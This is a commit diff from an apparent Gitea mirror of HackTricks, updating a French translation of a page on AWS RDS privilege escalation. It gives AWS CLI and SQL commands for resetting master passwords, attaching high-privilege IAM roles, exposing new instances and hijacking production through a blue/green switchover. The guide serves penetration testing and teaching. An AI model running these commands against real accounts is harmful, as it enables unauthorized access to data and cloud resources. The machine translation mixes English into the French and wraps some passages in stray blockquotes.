gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2026-07-28 22:51:09 -07:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat

Browse Source
This commit is contained in:
Translator
2026-01-13 13:29:12 +00:00
parent a24ad6fe84
commit 820e47e729
1 changed files with 57 additions and 37 deletions
Download Patch File Download Diff File Expand all files Collapse all files
src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md
+57 -37
View File
@@ -2,7 +2,7 @@
{{#include ../../../../banners/hacktricks-training.md}}
## RDS - Service de base de données relationnelle
## RDS - Relational Database Service
Pour plus d'informations sur RDS, consultez :
@@ -12,7 +12,7 @@ Pour plus d'informations sur RDS, consultez :
### `rds:ModifyDBInstance`
Avec cette permission, un attaquant peut **modifier le mot de passe du master user**, et le login à l'intérieur de la base de données :
Avec cette permission, un attaquant peut **modifier le mot de passe du master user**, et le login à l'intérieur de la base de données:
```bash
# Get the DB username, db name and address
aws rds describe-db-instances
@@ -27,28 +27,28 @@ aws rds modify-db-instance \
psql postgresql://<username>:<pass>@<rds-dns>:5432/<db-name>
```
> [!WARNING]
> Vous devrez être capable de **contacter la base de données** (elles sont généralement accessibles uniquement depuis l'intérieur des réseaux).
**Impact potentiel :** Trouver des informations sensibles dans les bases de données.
### rds-db:connect
Selon les [**docs**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html) un utilisateur avec cette permission pourrait se connecter à l'instance DB.
### Abuse RDS Role IAM permissions
#### Postgresql (Aurora)
> [!TIP]
> Si l'exécution de **`SELECT datname FROM pg_database;`** renvoie une base de données appelée **`rdsadmin`**, vous savez que vous êtes à l'intérieur d'une base de données **AWS postgresql**.
Dans un premier temps, vous pouvez vérifier si cette base de données a été utilisée pour accéder à un autre service AWS. Vous pouvez le vérifier en regardant les extensions installées :
> Vous devrez être capable de **contacter la base de données** (elles sont généralement accessibles uniquement depuis des réseaux internes).
>
> **Impact potentiel :** Trouver des informations sensibles à l'intérieur des bases de données.
>
> ### rds-db:connect
>
> According to the [**docs**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html) a user with this permission could connect to the DB instance.
>
> ### Abuse RDS Role IAM permissions
>
> #### Postgresql (Aurora)
>
> > [!TIP]
> > If running **`SELECT datname FROM pg_database;`** you find a database called **`rdsadmin`** you know you are inside an **AWS postgresql database**.
>
> Tout d'abord, vous pouvez vérifier si cette base de données a été utilisée pour accéder à d'autres services AWS. Vous pouvez vérifier cela en regardant les extensions installées :
```sql
SELECT * FROM pg_extension;
```
Si vous trouvez quelque chose comme **`aws_s3`** vous pouvez supposer que cette base de données a **une forme d'accès à S3** (il existe d'autres extensions telles que **`aws_ml`** et **`aws_lambda`**).
Si vous trouvez quelque chose comme **`aws_s3`**, vous pouvez supposer que cette base de données a **un accès quelconque à S3** (il existe d'autres extensions comme **`aws_ml`** et **`aws_lambda`**).
Aussi, si vous avez les permissions pour exécuter **`aws rds describe-db-clusters`** vous pouvez voir là si le **cluster a un IAM Role attaché** dans le champ **`AssociatedRoles`**. S'il y en a, vous pouvez supposer que la base de données a été **préparée pour accéder à d'autres services AWS**. D'après le **nom du role** (ou si vous pouvez obtenir les **permissions** du role) vous pouvez **deviner** quels accès supplémentaires la base de données possède.
De plus, si vous avez les permissions pour exécuter **`aws rds describe-db-clusters`**, vous pouvez y voir si le **cluster a un IAM Role attaché** dans le champ **`AssociatedRoles`**. Si c'est le cas, vous pouvez supposer que la base de données a été **préparée pour accéder à d'autres services AWS**. D'après le **nom du rôle** (ou si vous pouvez obtenir les **permissions** du rôle), vous pouvez **deviner** quels accès supplémentaires la base de données possède.
Maintenant, pour **lire un fichier dans un bucket** vous devez connaître le chemin complet. Vous pouvez le lire avec :
```sql
@@ -71,7 +71,7 @@ SELECT * from ttemp;
// Delete table
DROP TABLE ttemp;
```
Si vous aviez **raw AWS credentials**, vous pourriez aussi les utiliser pour accéder aux données S3 avec :
Si vous aviez des **identifiants AWS bruts**, vous pourriez également les utiliser pour accéder aux données S3 avec :
```sql
SELECT aws_s3.table_import_from_s3(
't', '', '(format csv)',
@@ -80,18 +80,18 @@ aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
);
```
> [!NOTE]
> Postgresql **n'a pas besoin de modifier aucune variable de groupe de paramètres** pour pouvoir accéder à S3.
> Postgresql **n'a pas besoin de modifier une variable de groupe de paramètres** pour pouvoir accéder à S3.
#### Mysql (Aurora)
> [!TIP]
> Dans un mysql, si vous exécutez la requête **`SELECT User, Host FROM mysql.user;`** et qu'il existe un utilisateur appelé **`rdsadmin`**, vous pouvez supposer que vous êtes dans une **AWS RDS mysql db**.
> Dans un mysql, si vous exécutez la requête **`SELECT User, Host FROM mysql.user;`** et qu'il existe un utilisateur appelé **`rdsadmin`**, vous pouvez supposer que vous êtes à l'intérieur d'une **AWS RDS mysql db**.
Dans le mysql, exécutez **`show variables;`** et si des variables telles que **`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`** ont des valeurs, vous pouvez considérer que la base de données est prête à accéder aux données S3.
À l'intérieur du mysql, exécutez **`show variables;`** et si des variables telles que **`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`** ont des valeurs, vous pouvez supposer que la base de données est préparée pour accéder aux données S3.
De plus, si vous avez les permissions pour exécuter **`aws rds describe-db-clusters`** vous pouvez vérifier si le cluster a un **rôle associé**, ce qui signifie généralement un accès aux services AWS).
Maintenant, pour **lire un fichier dans un bucket** vous devez connaître le chemin complet. Vous pouvez le lire avec:
Maintenant, pour **lire un fichier inside a bucket** vous devez connaître le chemin complet. Vous pouvez le lire avec:
```sql
CREATE TABLE ttemp (col TEXT);
LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col);
@@ -104,12 +104,12 @@ Un attaquant disposant des permissions `rds:AddRoleToDBCluster` et `iam:PassRole
```bash
aws add-role-to-db-cluster --db-cluster-identifier <value> --role-arn <value>
```
**Impact potentiel**: Accès à des données sensibles ou modifications non autorisées des données de l'instance RDS.\
Notez que certaines DBs nécessitent des configurations supplémentaires, comme Mysql, qui nécessite également de spécifier le role ARN dans les parameter groups.
**Impact potentiel**: Accès à des données sensibles ou modifications non autorisées des données dans l'instance RDS.\
Notez que certaines bases de données nécessitent des configurations supplémentaires, comme Mysql, qui nécessite également de spécifier le role ARN dans les parameter groups.
### `rds:CreateDBInstance`
Rien qu'avec cette permission, un attaquant pourrait créer une **nouvelle instance à l'intérieur d'un cluster** qui existe déjà et auquel est attaché un **IAM role**. Il ne pourra pas changer le mot de passe du master user, mais il pourrait être capable d'exposer la nouvelle instance de base de données sur Internet:
Avec cette seule permission, un attaquant pourrait créer une **nouvelle instance à l'intérieur d'un cluster** qui existe déjà et auquel est attaché un **IAM role**. Il ne pourra pas changer le mot de passe du master user, mais il pourrait exposer la nouvelle instance de base de données à Internet:
```bash
aws --region eu-west-1 --profile none-priv rds create-db-instance \
--db-instance-identifier mydbinstance2 \
@@ -124,28 +124,48 @@ aws --region eu-west-1 --profile none-priv rds create-db-instance \
> [!NOTE]
> TODO : Tester
Un attaquant disposant des autorisations `rds:CreateDBInstance` et `iam:PassRole` peut **créer une nouvelle instance RDS avec un rôle spécifié attaché**. L'attaquant peut alors potentiellement **accéder à des données sensibles** ou modifier les données contenues dans l'instance.
Un attaquant disposant des permissions `rds:CreateDBInstance` et `iam:PassRole` peut **créer une nouvelle instance RDS avec un rôle spécifié attaché**. L'attaquant peut alors potentiellement **accéder à des données sensibles** ou modifier les données contenues dans l'instance.
> [!WARNING]
> Certaines exigences pour le rôle/instance-profile à attacher (depuis [**here**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)):
> Quelques exigences du rôle/instance-profile à attacher (from [**here**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)):
> - Le rôle/instance-profile doit exister dans votre compte.
> - Le profile doit avoir un rôle IAM que Amazon EC2 est autorisé à assumer.
> - Le nom de l'instance profile et le nom du rôle IAM associé doivent commencer par le préfixe `AWSRDSCustom` .
> - The profile must exist in your account.
> - The profile must have an IAM role that Amazon EC2 has permissions to assume.
> - The instance profile name and the associated IAM role name must start with the prefix `AWSRDSCustom` .
```bash
aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole
```
**Impact potentiel**: Accès à des données sensibles ou modifications non autorisées des données dans l'instance RDS.
**Impact potentiel** : Accès à des données sensibles ou modifications non autorisées des données dans l'instance RDS.
### `rds:AddRoleToDBInstance`, `iam:PassRole`
Un attaquant disposant des permissions `rds:AddRoleToDBInstance` et `iam:PassRole` peut **ajouter un rôle spécifié à une instance RDS existante**. Cela pourrait permettre à l'attaquant d'**accéder à des données sensibles** ou de modifier les données contenues dans l'instance.
Un attaquant disposant des permissions `rds:AddRoleToDBInstance` et `iam:PassRole` peut **ajouter un rôle spécifié à une instance RDS existante**. Cela pourrait permettre à l'attaquant **d'accéder à des données sensibles** ou de modifier les données contenues dans l'instance.
> [!WARNING]
> L'instance DB doit se trouver en dehors d'un cluster pour cela
> L'instance DB doit être en dehors d'un cluster pour cela
```bash
aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name <feat-name>
```
**Impact potentiel**: Accès à des données sensibles ou modifications non autorisées des données dans l'instance RDS.
**Impact potentiel**: Accès à des données sensibles ou modifications non autorisées des données de l'instance RDS.
### `rds:CreateBlueGreenDeployment`, `rds:AddRoleToDBCluster`, `iam:PassRole`, `rds:SwitchoverBlueGreenDeployment`
Un attaquant disposant de ces permissions peut cloner une base de données de production (Blue), attacher un rôle IAM à hautes privilèges au clone (Green), puis utiliser switchover pour remplacer l'environnement de production. Cela permet à l'attaquant d'élever les privilèges de la base de données et d'obtenir un accès non autorisé à d'autres ressources AWS.
```bash
# Create a Green deployment (clone) of the production cluster
aws rds create-blue-green-deployment \
--blue-green-deployment-name <name> \
--source <production-db-cluster-arn>
# Attach a high-privilege IAM role to the Green cluster
aws rds add-role-to-db-cluster \
--db-cluster-identifier <green-cluster-id> \
--role-arn <high-privilege-iam-role-arn>
# Switch the Green environment to Production
aws rds switchover-blue-green-deployment \
--blue-green-deployment-identifier <deployment-id>
```
**Impact potentiel**: Prise de contrôle complète de l'environnement de base de données de production. Après la bascule, la base de données fonctionne avec des privilèges élevés, permettant un accès non autorisé à d'autres services AWS (p.ex., S3, Lambda, Secrets Manager) depuis la base de données.
{{#include ../../../../banners/hacktricks-training.md}}